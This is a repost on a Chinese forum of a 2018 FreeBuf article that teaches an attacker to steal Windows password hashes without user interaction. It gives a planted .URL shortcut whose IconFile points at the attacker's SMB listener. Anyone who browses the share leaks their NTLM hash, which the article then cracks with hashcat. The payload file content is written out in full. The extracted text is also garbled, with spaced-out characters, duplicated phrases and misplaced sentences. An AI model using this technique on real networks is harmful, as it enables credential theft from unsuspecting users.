搜索

[13273] 2018-10-07_一种无需用户交互捕获哈希的方法

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2018-10-07_一种无需用户交互捕获哈希的方法 一 种 无 需 用 户 交 互 捕 获 哈 希 的 方 法 s e c i s t   F r e e B u f   2 0 1 8 - 1 0 - 0 7 这 段 时 间 我 在 微 博 上 翻 看 了 大 量 的 帖 子 ， 其 中 有 一 篇 来 自 这 段 时 间 我 在 微 博 上 翻 看 了 大 量 的 帖 子 ， 其 中 有 一 篇 来 自 @ i n s e r t s c r i p t 的 帖 子 ， 介 绍 了 一 种 无 交 互 式 抓 取 哈 希 的 帖 子 ， 介 绍 了 一 种 无 交 互 式 抓 取 哈 希 值 的 技 巧 。 其 使 用 值 的 技 巧 。 其 使 用 . U R L 文 件 访 问 环 境 变 量 ， 用 户 无 需 任 何 用 户 交 互 即 可 连 接 到 攻 击 者 的 文 件 共 享 。 文 件 访 问 环 境 变 量 ， 用 户 无 需 任 何 用 户 交 互 即 可 连 接 到 攻 击 者 的 文 件 共 享 。 以 下 内 容 摘 自 @ i n s e r t s c r i p t 的 帖 子 ： “ 只 要 e x p l o r e r . e x e 的 的 查 看 包 含 . U R L 文 件 的 文 件 夹 ， 它 就 会 在 发 送 实 际 请 求 之 前 查 找 任 何 指 定 的 环 境 变 量 ， 如 ％ P A T H ％ 或 ％ U S E R N A M E ％ ， 从 而 将 内 容 泄 露 给 由 攻 击 者 控 制 的 服 务 器 。 “ （ h t t p s : / / i n s e r t - s c r i p t . b l o g s p o t . c o m / 2 0 1 8 / 0 8 / l e a k i n g - e n v i r o n m e n t - v a r i a b l e s - i n _ 2 0 . h t m l ） 首 先 ， 我 们 在 攻 击 机 上 设 置 S M B L i s t e n e r （ 通 常 情 况 下 在 内 网 环 境 中 ， 大 多 数 公 司 都 会 阻 止 S M B 流 量 出 站 ） 。 接 着 ， 我 们 在 文 件 共 享 上 创 建 一 个 文 本 文 件 。 （ 创 建 文 件 后 ， 你 可 以 将 其 放 在 任 何 共 享 上 ） 。 将 以 下 内 容 粘 贴 到 文 本 文 件 中 ： 以 上 你 只 需 将 I c o n F i l e   P A T H 替 换 为 你 在 S M B S e r v e r ， R e s p o n d e r 或 I n v e i g h 中 设 置 的 共 享 即 可 。 注 意 ： 这 里 的 ％ U S E R N A M E ％ 。 i c o n 不 要 改 动 。 如 下 ： 现 在 ， 请 确 保 你 已 勾 选 文 件 名 扩 展 和 隐 藏 文 件 选 项 。 [ I n t e r n e t S h o r t c u t ] U R L = w h a t e v e r W o r k i n g D i r e c t o r y = w h a t e v e r I c o n F i l e = P u t Y o u r S m b L i s t e n e r S h a r e H e r e % U S E R N A M E % . i c o n I c o n I n d e x = 1
使 用 . U R L 扩 展 重 命 名 文 件 注 意 ： 当 使 用 相 同 文 件 名 时 ， 将 导 致 无 法 正 常 工 作 因 此 ， 建 议 大 家 每 次 都 只 创 建 唯 一 的 文 件 名 （ 例 如 1 . u r l ， 2 . u r l 等 ） ！ 重 命 名 后 应 该 看 起 来 像 下 面 这 样 ： 此 时 ， 在 你 的 s m b   l i s t e n e r 应 该 已 经 获 取 到 了 一 个 连 接 ！ 现 在 ， 任 何 人 只 要 访 问 该 共 享 ， 都 将 尝 试 自 动 的 向 你 的 S M B   l i s t e n e r 进 行 身 份 验 证 。 复 制 哈 希 并 使 用 h a s h c a t 破 解 。 将 其 粘 贴 到 文 件 中
启 动 h a s h c a t （ 希 望 密 码 包 含 在 你 的 字 典 列 表 中 ） 成 功 解 出 了 密 码 ！ 最 后 ， 感 谢 @ i n s e r t s c r i p t 的 分 享 ！ 也 希 望 大 家 可 以 在 微 博 上 关 注 我 （ @ m a r k m o ） ， 我 会 第 一 时 间 向 大 家 分 享 我 学 到 的 东 西 ， 就 像 其 他 人 给 予 我 的 一 样 ！ * 参 考 来 源 ： 参 考 来 源 ： m e d i u m ， ， F B 小 编 小 编 s e c i s t 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理